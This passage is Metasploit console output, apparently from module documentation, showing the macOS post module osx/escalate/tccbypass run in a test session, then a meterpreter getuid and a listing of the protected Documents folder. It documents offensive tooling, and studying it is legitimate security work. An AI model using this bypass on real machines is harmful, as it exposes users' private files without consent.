[*] Post module execution completed
msf6 post(osx/escalate/tccbypass) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: msfuser @ msfusers-Mac.local (uid=501, gid=20, euid=501, egid=20)
meterpreter > ls Documents
Listing: Documents
==================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 0 fil 2020-08-14 13:51:29 -0500 .localized
meterpreter >
```

Some files were not shown because too many files have changed in this diff Show More